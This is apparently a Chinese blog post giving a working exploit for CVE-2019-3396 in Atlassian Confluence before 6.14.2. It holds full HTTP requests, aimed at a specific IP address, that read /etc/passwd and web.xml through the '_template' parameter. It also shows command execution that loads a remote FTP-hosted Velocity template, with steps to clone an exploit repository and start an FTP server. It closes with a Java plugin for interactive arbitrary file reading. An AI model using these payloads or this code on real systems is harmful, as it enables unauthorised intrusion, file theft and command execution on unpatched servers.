Atlassian Confluence是企业广泛使用的wiki系统,其6.14.2版本前存在一处未授权的目录穿越漏洞,通过该漏洞,攻击者可以读取任意文件,或利用Velocity模板注入执行任意命令。

POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: 113.10.152.216:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: http://113.10.152.216:8090/pages/resumedraft.action?draftId=786457&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&
Content-Type: application/json; charset=utf-8
Content-Length: 180

{"contentId":"786458","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc6","width":"1000","height":"1000","_template":"file:///etc/passwd"}}}

web.xml读取

POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: 113.10.152.216:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: http://113.10.152.216:8090/pages/resumedraft.action?draftId=786457&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&
Content-Type: application/json; charset=utf-8
Content-Length: 172

{"contentId":"786458","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc6","width":"1000","height":"1000","_template":"../web.xml"}}}

命令执行需要一个远程的ftp或者https://

git clone https://github.com/Yt1g3r/CVE-2019-3396_EXP.git

然后用python搭建一个临时的ftp服务器

python -m pyftpdlib -p 21
POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: 113.10.152.216:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: http://113.10.152.216:8090/pages/resumedraft.action?draftId=786457&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&
Content-Type: application/json; charset=utf-8
Content-Length: 198

{"contentId":"786458","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc6","width":"1000","height":"1000","_template":"ftp://ip:port/cmd.vm","cmd":"id"}}}

未测试的exp

package com.trackray.module.plugin.webapp.confluence;

import com.trackray.base.annotation.Param;
import com.trackray.base.annotation.Plugin;
import com.trackray.base.annotation.Rule;
import com.trackray.base.plugin.WebSocketPlugin;
import com.trackray.base.utils.Message;
import org.javaweb.core.net.HttpResponse;
import org.jsoup.Jsoup;
import org.jsoup.nodes.Document;
import org.jsoup.select.Elements;
import org.springframework.web.util.HtmlUtils;

import java.net.MalformedURLException;
import java.util.Map;

/**
 * @author 浅蓝
 * @email [email protected]
 * @since 2019/4/10 12:55
 */
@Plugin(value = "confluenceRCE",
        title = "Confluence RCE CVE-2019-3396",
        author = "blue")
@Rule(websocket = true,params = {@Param(key = "url" ,desc = "目标地址")})
public class ConfluenceServerRCE extends WebSocketPlugin {
    public static String readFilePayload = "{\"contentId\":\"786458\",\"macro\":{\"name\":\"widget\",\"body\":\"\",\"params\":{\"url\":\"https://www.viddler.com/v/23464dc6\",\"width\":\"1000\",\"height\":\"1000\",\"_template\":\"%s\"}}}";

    @Override
    public boolean check(Map param) {
        if (!param.isEmpty()){
            this.url = param.get(this.currentParams()[0].key()).toString();
            if (url.endsWith("/"))
                url = url.substring(0,url.length()-1);
            Document parse = attack(String.format(readFilePayload, "../web.xml"));
            if (parse!=null){
                Elements wiki = parse.getElementsByClass("wiki-content");
                if (wiki!=null&&wiki.hasText()){
                    String text = wiki.html();
                    if (text.contains("filter-class"))
                        sendColorMsg(Message.RED("存在安全漏洞"));
                        return true;
                }
            }
        }
        return false;
    }
    private String url ;
    @Override
    public Object start() {

        send("请输入要读取的文件 如/etc/passwd,输入exit退出");

        while(true){
            String input = getInput();
            if (input.equals("exit"))
                break;

            if (input.startsWith("/"))
                input = input.substring(1,input.length());
            String format = String.format(readFilePayload, "file:///".concat(input));
            Document parse = attack(format);

            if (parse!=null){
                Elements wiki = parse.getElementsByClass("wiki-content");
                if (wiki!=null&&wiki.hasText()){
                    String text = wiki.html();
                    send("=========================");
                    sendColorMsg(Message.RED(HtmlUtils.htmlEscape(text)));
                    send("=========================");
                }
            }

        }

        return "";
    }

    private Document attack(String data){
        try {
            HttpResponse post = requests.url(url.concat("/rest/tinymce/1/macro/preview"))
                    .contentType("application/json; charset=utf-8")
                    .timeout(60000)
                    .referer(url + "/pages/resumedraft.action?draftId=786457&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&")
                    .data(data).post();

            String body = post.body();
            if (body!=null)
                return Jsoup.parse(body);

        } catch (MalformedURLException e) {

        }
        return null;
    }
}

大概就这些……

说点什么
支持Markdown语法
好耶,沙发还空着ヾ(≧▽≦*)o
Loading...